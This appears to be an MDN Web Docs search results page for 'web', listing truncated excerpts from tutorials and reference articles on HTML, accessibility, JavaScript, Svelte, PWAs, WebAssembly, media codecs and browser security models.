...(R). We're talking about kick-ass 3D action shooters, RPGs, and more. Thanks to massive performance improvements in JavaScript just-in-time compiler technology and new APIs, you can build games that run in the browser (or on HTML5-powered devices) without making compromises. The HTML5 game platform You can truly think of the
Web as a better target platform for your game. ...
...And 16 more matches
Creating hyperlinks - Learn web development
Previous Overview: Introduction to HTML Next Hyperlinks are really important -- they are what makes the
Web a
web. This article shows the syntax required to make a link, and discusses link best practices. Prerequisites: Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals. Objective: To learn how to implement a hyperlink effectively, and link multiple files together. What is a hyperlink? Hyperlinks are one of the most exciting innovations the
Web has to offer. They've been a feature of the
Web since the beginning, and are what makes the
Web a
web. Hyperlinks allow us to link documents to other documents or resources, link to specific parts of documents, or make apps available at a...
...to implement a hyperlink effectively, and link multiple files together. What is a hyperlink? ...
... effectively, and link multiple files together. What is a hyperlink? ...
...And 15 more matches
What’s in the head? Metadata in HTML - Learn web development
It contains information such as the page <title>, links to CSS (if you choose to style your HTML content with CSS), links to custom favicons, and other metadata (data about the HTML, such as the author, and important keywords that describe the document.) In this article we'll cover all of the above and more, in order to give you a good basis for working with markup. Prerequisites: Basic HTML familiarity, as covered in Getting started with HTML. ...
... <body> element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page. Instead, the head's job is to contain metadata about the document. In the above example, the head is quite small: <head> <meta charset="utf-8"> <title>My test page</title> </head> In larger pages however, the head can get quite full. Try going to some of your favorite
websites and use the developer tools to check out their head contents. Our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the major elements that you'll want to include in the head, and give you some familiarity. Let's get started. Adding a title We've already seen the <title> element in action -- this can be used to add a ...
...e, just to give you an idea. Specifying your document's character encoding In the example we saw above, this line was included: <meta charset="utf-8"> This element simply specifies the document's character encoding -- the character set that the document is permitted to use. utf-8 is a universal character set that includes pretty much any character from any human language. This means that your
web page will be able to handle displaying any language; it's therefore a good idea to set this on every
web page you create! For example, your page could handle English and Japanese just fine: If you set your character encoding to ISO-8859-1, for example (the character set for the Latin alphabet), your page rendering may appear all messed up: Note: Some browsers (e.g. Chrome) automatically fix ...
...And 15 more matches
What is accessibility? - Learn web development
Overview: Accessibility Next This article starts the module off with a good look at what accessibility is -- this overview includes what groups of people we need to consider and why, what tools different people use to interact with the
web, and how we can make accessibility part of our
web development workflow. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS. Objective: To gain familiarity with accessibility, including what it is, and how it affects you as a
web developer. So what is accessibility? Accessibility is the practice of making your
websites usable by as many people as possible. We traditionally think of this as being about people with disabilities, but the practice of making sites accessible also benefits other...
...ith slow network connections. You might also think of accessibility as treating everyone the same, and giving them equal opportunities, no matter what their ability or circumstances. Just as it is wrong to exclude someone from a physical building because they are in a wheelchair (modern public buildings generally have wheelchair ramps or elevators), it is also not right to exclude someone from a
website because they have a visual impairment. We are all different, but we are all human, and therefore have the same human rights. Accessibility is the right thing to do. Providing accessible sites is part of the law in some countries, which can open up some significant markets that otherwise would not be able to use your services or buy your products. Building accessible sites benefit everyone: ...
...such as mobile phone users or those on low network speed. In fact, everyone can benefit from many such improvements. Did we mention it is also the law in some places? What kinds of disability are we looking at? People with disabilities are just as diverse as people without disabilities, and so are their disabilities. The key lesson here is to think beyond your own computer and how you use the
web, and start learning about how others use it -- you are not your users. The main types of disability to consider are explained below, along with any special tools they use to access
web content (known as assistive technologies, or ATs). Note: The World Health Organization's Disability and health fact sheet states that "Over a billion people, about 15% of the world's population, have some form of...
...And 14 more matches
What is JavaScript? - Learn web development
! In this article we will look at JavaScript from a high level, answering questions such as "What is it?" and "What can you do with it?", and making sure you are comfortable with JavaScript's purpose. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS. Objective: To gain familiarity with what JavaScript is, what it can do, and how it fits into a
web site. A high-level definition JavaScript is a scripting or programming language that allows you to implement complex features on
web pages -- every time a
web page does more than just sit there and display static information for you to look at -- displaying timely content updates, interactive maps, animated 2D/3D graphics, scrolling video jukeboxes, etc. -- you can bet that JavaScript is ...
...gramming language that allows you to implement complex features on
web pages -- every time a
web page does more than just sit there and display static information for you to look at -- displaying timely content updates, interactive maps, animated 2D/3D graphics, scrolling video jukeboxes, etc. -- you can bet that JavaScript is probably involved. It is the third layer of the layer cake of standard
web technologies, two of which (HTML and CSS) we have covered in much more detail in other parts of the Learning Area. HTML is the markup language that we use to structure and give meaning to our
web content, for example defining paragraphs, headings, and data tables, or embedding images and videos in the page. CSS is a language of style rules that we use to apply styling to our HTML content, f...
...riables. In the above example for instance, we ask for a new name to be entered then store that name in a variable called name. Operations on pieces of text (known as "strings" in programming). In the above example we take the string "Player 1: " and join it to the name variable to create the complete text label, e.g. ''Player 1: Chris". Running code in response to certain events occurring on a
web page. We used a click event in our example above to detect when the button is clicked and then run the code that updates the text label. And much more! What is even more exciting however is the functionality built on top of the client-side JavaScript language. So-called Application Programming Interfaces (APIs) provide you with extra superpowers to use in your JavaScript code. APIs are ready-...
...And 14 more matches
Working with Svelte stores - Learn web development
stores Using stores we will create an Alert component that shows notifications on screen, which can receive messages from any component. In this case, the Alert component is independent from the rest -- it is not a parent or child of any other -- so the messages don't fit into the component hierarchy. We will also see how to develop our own custom store to persist the todo information to
web storage, allowing our todos to persist over page reloads. Code along with us Git Clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git Then to get to the current app state, run cd mdn-svelte-tutorial/06-stores Or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/06-stores Remember to run npm i...
...ned specialized role values that can be used, like log, status and alert. In our case, just adding a role="alert" to the <div> container will do the trick, like this: <div role="alert" on:click={() => visible = false}> In general, testing your applications using screen readers is a good idea, not only to discover accessibility issues but also to get used to how visually impaired people use the
Web. You have several options, like NVDA for Windows, ChromeVox for Chrome, Orca on Linux, and VoiceOver for Mac OS X and iOS, among other options. To learn more about detecting and fixing accessibility issues check out our Handling common accessibility problems article. Using the store contract to persist our todos Our little app lets us manage our todos quite easily, but is rather useless if we ...
...s variable. Let's open App.svelte and try it. First of all, add the following line below your todos array: $: console.log('todos', todos) Next, update your Todos component call as follows: <Todos bind:todos /> Remember: <Todos bind:todos /> is just a shortcut for <Todos bind:todos={todos} />. Go back to your app, try adding some todos, then go your developer tools
web console. You'll see that every modification we make to our todos is reflected in the todos array defined in App.svelte thanks to the bind directive. Now we have to find a way to persist these todos. We could implement some code in our App.svelte component to read and save our todos to
web storage or to a
web service. But wouldn't be better if we could develop some generic store that allows u...
...And 14 more matches
Handling common JavaScript problems - Learn web development
bear in mind that they have not gone away altogether). These days, most cross-browser JavaScript problems are seen: When poor-quality browser-sniffing code, feature-detection code, and vendor prefix usage block browsers from running code they could otherwise use just fine. When developers make use of new/nascent JavaScript features (for example ECMAScript 6 / ECMAScript Next features, modern
Web APIs...) in their code, and find that such features don't work in older browsers. We'll explore all these problems and more below. Fixing general JavaScript problems As we said in the previous article on HTML/CSS, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues. If you are not already familiar with the basics of Troubleshooting J...
...e'd recommend are JSHint and ESLint; these can be used in a variety of ways, some of which we'll detail below. Online The JSHint homepage provides an online linter, which allows you to enter your JavaScript code on the left and provides an output on the right, including metrics, warnings, and errors. Code editor plugins It is not very convenient to have to copy and paste your code over to a
web page to check its validity several times. What you really want is a linter that will fit into your standard workflow with the minimum of hassle. Many code editors have linter plugins, for example Github's Atom code editor has a JSHint plugin available. To install it: Install Atom (if you haven't got an up-to-date version already installed) -- download it from the Atom page linked above. Go t...
...all these tools as command line utilities (available via the CLI -- command line interface) using npm (Node Package Manager -- you'll have to install NodeJS first). For example, the following command installs JSHint: npm install -g jshint You can then point these tools at JavaScript files you want to lint, for example: You can also use these tools with a task runner/build tool such as Gulp or
Webpack to automatically lint your JavaScript during development. (see Using a task runner to automate testing tools in a later article.) See ESLint integrations for ESLint options; JSHint is supported out of the box by Grunt, and also has other integrations available, e.g. JSHint loader for
Webpack. Note: ESLint takes a bit more setup and configuration than JSHint, but it is more powerful too. B...
...And 14 more matches
Mozilla Web Services Security Model
Overview (This document is being compiled from scattered documentation and source code and most of the information in it has not been verified. Please do not depend on anything in it being correct for security.) To prevent the browser from being used as a tool for
Web sites to obtain priveleges that belong to the browser's user (such as being behind a firewall or getting the benefits of the user's cookies),
Web browsers restrict what
Web pages can do when accessing things in other domains. These restrictions apply to
Web Services. However,
Web Services can be designed to be accessed from other domains, or even from any domain. Mozilla allows sites hosting such
Web Services to tell Mozilla that other sites can access the service. They do this by creating a file called
web-scripts-access.xm...
... other domains. These restrictions apply to
Web Services. However,
Web Services can be designed to be accessed from other domains, or even from any domain. Mozilla allows sites hosting such
Web Services to tell Mozilla that other sites can access the service. They do this by creating a file called
web-scripts-access.xml in the root of the server that grants permission for other domains to access
Web Services. For example, to determine what
Web sites can access a
Web Service at http://www.example.com/dir1/dir2/service, Mozilla would load the file http://www.example.com/
web-scripts-access.xml, which may choose to delegate the decision to http://www.example.com/dir1/dir2/
web...pts-access.xml.
web-scripts-access.xml File Format The
web-scripts-access.xml file is an XML document. Any errors in ...
...This element must have either one delegate element child or any number (0 or more) of allow element children. ...
...And 14 more matches
Window.open() - Web APIs
f the main window. Tip: Note that in some browsers, users can override the windowFeatures settings and enable (or prevent the disabling of) features Position and size features windowFeatures parameter can specify the position and size of the new window. Note on position and dimension error correction Position If only one of them is specified, the behavior is implementation-dependent, and
web author should not rely on it. left or screenX Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window cannot be initially positioned offscreen. top or screenY Specifies the distance the new window is placed from the top side of the work ...
...ndered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well. Size If only one of them is specified, the behavior is implementation-dependent, and
web author should not rely on it. width or innerWidth Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100. height or innerHeight Specifies the height of the content area, viewing area ...
...w has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName". ...
...And 14 more matches
Web APIs
Specifications This is a list of all the APIs that are available. ...
... Specifications This is a list of all the APIs that are available. ...
... Specifications This is a list of all the APIs that are available. ...
...And 14 more matches
Progressive web apps (PWAs)
Progressive
Web Apps are
web apps that use emerging
web browser APIs and features along with traditional progressive enhancement strategy to bring a native app-like user experience to cross-platform
web applications. Progressive
Web Apps are a useful design pattern, though they aren't a formalized standard. PWA can be thought of as similar to AJAX or other similar patterns that encompass a set of application attributes, including use of specific
web technologies and techniques. This set of docs tells you all you need to know about them. In order to call a
Web App a PWA, technically speaking it should have the following features: Secure contexts (HTTPS), one or more Service Workers, and a manifest file. Secure contexts (HTTPS) The
web application must be served over a secure ne...
...ques. This set of docs tells you all you need to know about them. In order to call a
Web App a PWA, technically speaking it should have the following features: Secure contexts (HTTPS), one or more Service Workers, and a manifest file. Secure contexts (HTTPS) The
web application must be served over a secure network. Being a secure site is not only a best practice, but it also establishes your
web application as a trusted site especially if users need to make secure transactions. Most of the features related to a PWA such as geolocation and even service workers are available only once the app has been loaded using HTTPS. Service workers A service worker is a script that allows intercepting and control of how a
web browser handles its network requests and asset caching. With service worke...
...lication as a trusted site especially if users need to make secure transactions. Most of the features related to a PWA such as geolocation and even service workers are available only once the app has been loaded using HTTPS. Service workers A service worker is a script that allows intercepting and control of how a
web browser handles its network requests and asset caching. With service workers,
web developers can create reliably fast
web pages and offline experiences. Manifest file A JSON file that controls how your app appears to the user and ensures that progressive
web apps are discoverable. It describes the name of the app, the start URL, icons, and all of the other details necessary to transform the
website into an app-like format. PWA advantages PWAs should be discoverable, insta...
...And 14 more matches
FileSystemEntry - Web APIs
lesystem:http://www.html5rocks.com/temporary/ in a tab. Chrome shows a read-only list of all the files and folders stored the origin of your app. Example To see an example of how toURL() works, see the method description. The snippet below shows you how you can remove a file by name. // Taking care of the browser-specific prefixes. window.requestFileSystem = window.requestFileSystem || window.
webkitRequestFileSystem; ... // Opening a file system with temporary storage window.requestFileSystem(TEMPORARY, 1024*1024 /*1MB*/, function(fs) { fs.root.getFile('log.txt', {}, function(fileEntry) { fileEntry.remove(function() { console.log('File removed.'); }, onError); }, onError); }, onError); Properties This interface provides the following properties. filesystem Read...
...Entries API Draft Draft of proposed API This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imentalChrome Full support 8Alternate Name Full support 8Alternate Name Alternate Name Uses the non-standard name: EntryEdge Full support 79Prefixed Full support 79Prefixed Prefixed Implemented with the vendor prefix:
webkitFirefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Alternate Name Full support ...
...And 13 more matches
RTCPeerConnection - Web APIs
The RTCPeerConnection interface represents a
WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed. ...
...or the connection, and close the connection once it's no longer needed. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/RTCPeerConnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">RTCPeerConnection</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Constru...
...And 13 more matches
WebAssembly.Memory - JavaScript
The first way is to construct it from JavaScript. ...
...The first way is to construct it from JavaScript. ...
...The first way is to construct it from JavaScript. ...
...And 13 more matches
The "codecs" parameter in common media types - Web media technologies
a (audio, video, etc), then a slash character (/), then the container format used to contain the media: audio/mpeg An audio file using the MPEG file type, such as an MP3. video/ogg A video file using the Ogg file type. video/mp4 A video file using the MPEG-4 file type. video/quicktime A video file in Apple's QuickTime format. As noted elsewhere, this format was once commonly used on the
web but no longer is, since it required a plugin to use. However, each of these MIME types is vague. All of these file types support a variety of codecs, and those codecs may have any number of profiles, levels, and other configuration factors. For this reason, you can add the codecs parameter to the media type. To do so, append a semicolon (;) followed by codecs= and then the string describing th...
... semicolon (;) followed by codecs= and then the string describing the format of the contents of the file. Some media types only let you specify the names of the codecs to use, while others allow you to specify various constraints on those codecs as well. You can specify multiple codecs by separating them with commas. audio/ogg; codecs=vorbis An Ogg file containing a Vorbis audio track. video/
webm; codecs="vp8, vorbis" A
WebM file containing VP8 video and/or Vorbis audio. video/mp4; codecs="avc1.4d002a" An MPEG-4 file containing AVC (H.264) video, Main Profile, Level 4.2. As is the case with any MIME type parameter, codecs must be changed to codecs* (note the asterisk character, *) if any of the properties of the codec use special characters which must be percent-encoded per RFC 2231...
...se decodeURI() to decode a previously encoded parameter list. When the codecs parameter is used, the specified list of codecs must include every codec used for the contents of the file. The list may also contain codecs not present in the file.= Codec options by container The containers below support extended codec options in their codecs parameters: 3GP AV1 ISO BMFF MPEG-4 QuickTime
WebM Several of the links above go to the same section; that's because those media types are all based on ISO Base Media File Format (ISO BMFF), so they share the same syntax. AV1 The syntax of the codecs parameter for AV1 is defined the AV1 Codec ISO Media File Format Binding specification, section 5: Codecs Parameter String. av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]] This codec parameter str...
...And 13 more matches
Populating the page: how browsers work - Web Performance
Latency is our main threat to overcome to ensure a fast load. ...
... Latency is our main threat to overcome to ensure a fast load. ...
...fast to load and smooth to interact with. Therefore, a developer should strive to achieve these two goals. To understand how to improve performance and perceived performance, it helps to understand how the browser works. Overview Fast sites provide better user experiences. Users want and expect
web experiences with content that is fast to load and smooth to interact with. Two major issues in
web performance are understanding issues having to do with latency and issues having to do with the fact that for the most part, browsers are single threaded. Latency is our main threat to overcome to ensure a fast load. To be fast to load, the developers' goals include sending requested information as fast as possible, or at least seem super fast. Network latency is the time it takes to transmit by...
...And 13 more matches
CSS property compatibility table for form controls - Learn web development
The property simply doesn't work or is so inconsistent that it's not reliable. n.a. The property has no meaning for this type of widget. Rendering For each property there are two possible renderings: N (Normal) Indicates that the property is applied as it is T (Tweaked) Indicates that the property is applied with the extra rule below: * { /* Turn off the native look and feel */ -
webkit-appearance: none; appearance: none; /* for Internet Explorer */ background: none; } Compatibility tables Global behaviors Some behaviors are common to many browsers at a global level: border, background, border-radius, height Using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers. Be careful when you use them. line-height ...
... text-overflow Opera, Safari, and IE9 do not support this property on form widgets. text-shadow Opera does not support text-shadow on form widgets and IE9 does not support it at all. Text fields See the text, search, and password input types. ...
...shadow on form widgets and IE9 does not support it at all. Text fields See the text, search, and password input types. Property N T Note CSS box model width Yes Yes height Partial[1][2] Yes
WebKit browsers (mostly on Mac OSX and iOS) use the native look & feel for the search fields. ...
...And 12 more matches
Drawing graphics - Learn web development
This article provides an introduction to canvas, and further resources to allow you to learn more. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn the basics of drawing on <canvas> elements using JavaScript. ...
... This however was still not enough. ...
... an introduction to canvas, and further resources to allow you to learn more. Prerequisites: JavaScript basics (see first steps, building blocks, JavaScript objects), the basics of Client-side APIs Objective: To learn the basics of drawing on <canvas> elements using JavaScript. Graphics on the
Web As we talked about in our HTML Multimedia and embedding module, the
Web was originally just text, which was very boring, so images were introduced -- first via the <img> element and later via CSS properties such as background-image, and SVG. This however was still not enough. While you could use CSS and JavaScript to animate (and otherwise manipulate) SVG vector images -- as they are represented by markup -- there was still no way to do the same for bitmap images, a...
...And 12 more matches
Command line crash course - Learn web development
nterface (CLI) tools. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages. Objective: To understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools. Welcome to the terminal The terminal is a text interface for executing text-based programs. If you're running any tooling for
web development there's a near-guaranteed chance that you'll have to pop open the command line and run some commands to use your chosen tools (you'll often see such tools referred to as CLI tools -- command line interface tools). A large number of tools can be used by typing commands into the command line; many come pre-installed on your system, and a huge number of others are installable from packa...
...n Windows -- there's a good range of options from the "cmd" program to "powershell" -- which can be run from the start menu by typing the program name. And below, you can see the macOS terminal application. How do you access the terminal? Many developers today are using Unix-based tools (e.g. the terminal, and the tools you can access through it). Many tutorials and tools that exist on the
web today support (and sadly assume) Unix-based systems, but not to worry -- they are available on most systems. In this section, we'll look at how to get access to the terminal on your chosen system. Linux/Unix As hinted at above, Linux/Unix systems have a terminal available by default, listed among your Applications. macOS macOS has a system called Darwin that sits underneath the graphical user...
...Before you go any further, open your terminal program! Navigation on the command line When you visit the command line you will inevitably need to navigate to a particular directory to "do something". All the operating systems...
...And 12 more matches
FileSystemFlags - Web APIs
cify zero or more of these flags as fields in an object, like this: dataDirectoryEntry.getDirectory("Workspace", { create: true }, function(entry) { }); Here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there. Note that these option flags currently don't have any useful meaning when used in the scope of
Web content, where security precautions prevent the creation of new files or the replacement of existing ones. Properties create Optional If this property is true, and the requested file or directory doesn't exist, the user agent should create it. The default is false. The parent directory must already exist. exclusive Optional If true, and the create option is also true, the file must not ex...
...ries APIThe definition of 'FileSystemFlags' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...send us a pull request. ...
...And 12 more matches
How to make PWAs installable - Progressive web apps (PWAs)
Previous Overview: Progressive Next In the last article, we read about how the example application, js13kPWA, works offline thanks to its service worker, but we can go even further and allow users to install the
web app on mobile and desktop browers that support doing so. The installed
web app can then be launched by users just as if it were any native app. This article explains how to achieve this using the
web app's manifest. ...
...rowers that support doing so. The installed
web app can then be launched by users just as if it were any native app. This article explains how to achieve this using the
web app's manifest. These technologies allow the app to be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the URL. Your
web app can sit next to native applications as first class citizens. This makes the
web app easier to access; additionally, you can specify that the app be launched in fullscreen or standalone mode, thus removing the default browser user interface that would otherwise be present, creating an even more seamless and native-like feel. ...
...ing a bookmark or typing the URL. Your
web app can sit next to native applications as first class citizens. This makes the
web app easier to access; additionally, you can specify that the app be launched in fullscreen or standalone mode, thus removing the default browser user interface that would otherwise be present, creating an even more seamless and native-like feel. ...
...And 12 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
One approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site. ...
...One approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site. ...
... our application layout -- essentially, this means using a combination of percentages and ems/rems to size your containers and text, not fixed widths such as pixels. This has a lot of advantages in that the layout will adapt to different viewport dimensions. Let's look at an example. We've written a simple-but-fun prototype for an application called Snapshot, which takes a video stream from your
webcam (using getUserMedia()) then allows you to capture stills from that video stream (using HTML5 <canvas>), and save them to a gallery. You can then view previously-captured images and delete them. Other articles will discuss the functionality in more detail, but here we're interested in the layout. Note: You can find the Snapshot app on Github; check out the code and help improve it. You can al...
...And 12 more matches
Common questions - Learn web development
This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the HTML or CSS learning articles.) These articles are designed to work on their own. How the
Web works This section covers
Web mechanics --questions relating to general knowledge of the
Web ecosystem and how it works. ...
... questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the HTML or CSS learning articles.) These articles are designed to work on their own. How the
Web works This section covers
Web mechanics --questions relating to general knowledge of the
Web ecosystem and how it works. How does the Internet work? The Internet is the backbone of the
Web, the technical infrastructure that makes the
Web possible. At its most basic, the Internet is a massive network of computers communicating with each other. ...
...--questions relating to general knowledge of the
Web ecosystem and how it works. How does the Internet work? The Internet is the backbone of the
Web, the technical infrastructure that makes the
Web possible. At its most basic, the Internet is a massive network of computers communicating with each other. This article discusses how it works, in broad terms. What is the difference between
webpage,
website,
Web server, and search engine? In this article we describe various
Web-related concepts:
webpages,
websites,
Web servers, and search engines. These terms are often a source of confusion for newcomers to the
Web, or are used incorrectly. Let's discover what they actually mean! What are hyperlinks? In this article, we'll go over what hyperlinks are and why they matter. Wha...
...And 11 more matches
Dealing with files - Learn web development
Previous Overview: Getting started with the
web Next A
website consists of many files: text content, code, stylesheets, media content, and so on. When you're building a
website, you need to assemble these files into a sensible structure on your local computer, make sure they can talk to one another, and get all your content looking right before you eventually upload them to a server. Dealing with files discusses some issues you should be aware of so you can set up a sensible file structure for your
website. Where should your
website live on your computer? When you are working on a
website locally on your computer, you should keep all the related files in a single folder that mirrors the published
website's file structure on the server. This folder can live anywhere you like, but...
...Call it test-site (or something more imaginative). ...
...Call it test-site (or something more imaginative). ...
...And 11 more matches
Installing basic software - Learn web development
Overview: Getting started with the
web Next In Installing basic software, we show you what tools you need to do simple
web development and how to install them properly. What tools do the professionals use? ...
... Overview: Getting started with the
web Next In Installing basic software, we show you what tools you need to do simple
web development and how to install them properly. What tools do the professionals use? ...
...ds obvious to some people, but some of you are reading this article on your phone or a library computer. For serious
web development, it's better to invest in a desktop or laptop computer running Windows, macOS or Linux. A text editor, to write code in. This could be a text editor (e.g. Visual Studio Code, Notepad++, Sublime Text, Atom, GNU Emacs, or VIM), or a hybrid editor (e.g. Dreamweaver or
WebStorm). Office document editors are not suitable for this use, as they rely on hidden elements that interfere with the rendering engines used by
web browsers.
Web browsers, to test code in. Currently, the most-used browsers are Firefox, Chrome, Opera, Safari, Internet Explorer and Microsoft Edge. You should also test how your site performs on mobile devices and on any old browsers your target aud...
...And 11 more matches
MSGestureEvent - Web APIs
hange MSInertiaStart Specifications Not part of any specification. Microsoft has a description on MSDN. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...MSGestureEvent Non-standardChrome No support NoEdge No support 12 -- 79Firefox No support NoIE Full support 10Opera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
...() constructor Non-standardChrome No support NoEdge No support 12 -- 79Firefox No support NoIE Full support 10Opera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
...And 11 more matches
WebAssembly.Memory() constructor - JavaScript
When present, the maximum parameter acts as a hint to the engine to reserve memory up front. ...
...When present, the maximum parameter acts as a hint to the engine to reserve memory up front. ...
...When present, the maximum parameter acts as a hint to the engine to reserve memory up front. ...
...And 11 more matches
WebAssembly.Table - JavaScript
Instance properties Table.prototype.length Returns the length of the table, i.e. the number of elements. Instance methods Table.prototype.get() Accessor function -- gets the element stored at a given index. Table.prototype.grow() Increases the size of the Table instance by a specified number of elements. ...
... Instance properties Table.prototype.length Returns the length of the table, i.e. the number of elements. Instance methods Table.prototype.get() Accessor function -- gets the element stored at a given index. ...
...e.prototype.length Returns the length of the table, i.e. the number of elements. Instance methods Table.prototype.get() Accessor function -- gets the element stored at a given index. Table.prototype.grow() Increases the size of the Table instance by a specified number of elements. Table.prototype.set() Sets an element stored at a given index to a given value. ...
...And 11 more matches
WebAssembly.instantiate() - JavaScript
The
WebAssembly.instantiate() function allows you to compile and instantiate
WebAssembly code. This function has two overloads: The primary overload takes the
WebAssembly binary code, in the form of a typed array or ArrayBuffer, and performs both compilation and instantiation in one step. The returned Promise resolves to both a compiled
WebAssembly.Module and its first
WebAssembly.Instance. The secondary overload takes an already-compiled
WebAssembly.Module and returns a Promise that resolves to an Instance of that Module. This overload is useful if the Module has already been compiled. Important: This method is not the most efficient way of fetching and instantiating wasm modules. ...
...ebAssembly.Module and its first
WebAssembly.Instance. The secondary overload takes an already-compiled
WebAssembly.Module and returns a Promise that resolves to an Instance of that Module. This overload is useful if the Module has already been compiled. Important: This method is not the most efficient way of fetching and instantiating wasm modules. If at all possible, you should use the newer
WebAssembly.instantiateStreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly from the raw bytecode, so doesn't require conversion to an ArrayBuffer. ...
...hod is not the most efficient way of fetching and instantiating wasm modules. If at all possible, you should use the newer
WebAssembly.instantiateStreaming() method instead, which fetches, compiles, and instantiates a module all in one step, directly from the raw bytecode, so doesn't require conversion to an ArrayBuffer. Syntax Primary overload -- taking wasm binary code Promise<ResultObject>
WebAssembly.instantiate(bufferSource, importObject); Parameters bufferSource A typed array or ArrayBuffer containing the binary code of the .wasm module you want to compile. importObject Optional An object containing the values to be imported into the newly-created Instance, such as functions or
WebAssembly.Memory objects. There must be one matching property for each declared import of the co...
...And 11 more matches
Web technology for developers
The open
Web presents incredible opportunities for developers. To take full advantage of these technologies, you need to know how to use them. Below you'll find links to our
Web technology documentation. Documentation for
Web developers
Web Developer Reference A list of all references for
Web technologies, including those for HTML, CSS, and so on.
Web Developer Guide The
Web Developer Guide provides useful how-to content to help you actually use
Web technologies to do what you want or need to do. Tutorials for
Web developers A list of tutorials to take you step-by-step through learning APIs, technologies, or broad topic areas. ...
... Code snippets This is a quick list of useful code snippets (small code samples) available for developers of extensions for the various Mozilla applications. ...
...or
Web technologies, including those for HTML, CSS, and so on.
Web Developer Guide The
Web Developer Guide provides useful how-to content to help you actually use
Web technologies to do what you want or need to do. Tutorials for
Web developers A list of tutorials to take you step-by-step through learning APIs, technologies, or broad topic areas. Developing
Web applications Documentation for
Web application developers;
Web apps are true write-once, deploy anywhere apps for mobile, desktop, and Firefox OS. Code snippets This is a quick list of useful code snippets (small code samples) available for developers of extensions for the various Mozilla applications. Many of these samples can also be used in XULRunner applications, as well as in actual Mozilla code itself. View All... ...
...And 11 more matches
New Security Model for Web Services - Archive of obsolete content
other resources protected behind the firewall. Same Source Restriction By restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is prevented from accessing resources in the domain into which it has been loaded. This policy has generally been successful in sandboxing Javascript and Java applets across the
web. If the sandbox is unable to distinguish the common URI substring of the domain to be trusted from similar URIs of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources. Also, this technique prevents the script from accessing many legitimate external resources not provided in the same domain as the script. This prevents a...
...able to distinguish the common URI substring of the domain to be trusted from similar URIs of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources. Also, this technique prevents the script from accessing many legitimate external resources not provided in the same domain as the script. ...
...omain as the script. This prevents a script from accessing
web services and data published from any domain besides its own. White-listing By creating a white list of trusted URIs from which scripts are trusted to not compromise internal resources, it is possible to release domains from the stricter same-source sandbox. A white list is a good tool for including always-trusted domains, but on the
web, it is often a script from a relatively-untrusted domain that must be granted access to other untrusted domains, without compromising internal domains. More-complex access lists could be created to try to establish, with finer granularity, which domains are to be accessible or permitted from which other domains, but this requires extensive management which at best is quite error-prone for the en...
...And 10 more matches
Responsive design - Learn web development
Previous Overview: CSS layout Next In the early days of
web design, pages were built to target a particular screen size. If the user had a larger or smaller screen than the designer expected, results ranged from unwanted scrollbars to overly long line lengths, and poor use of space. As more diverse screen sizes became available, the concept of responsive
web design (RWD) appeared, a set of practices that allows
web pages to alter their layout and appearance to suit different screen widths, resolutions, etc. It is an idea that changed the way we design for a multi-device
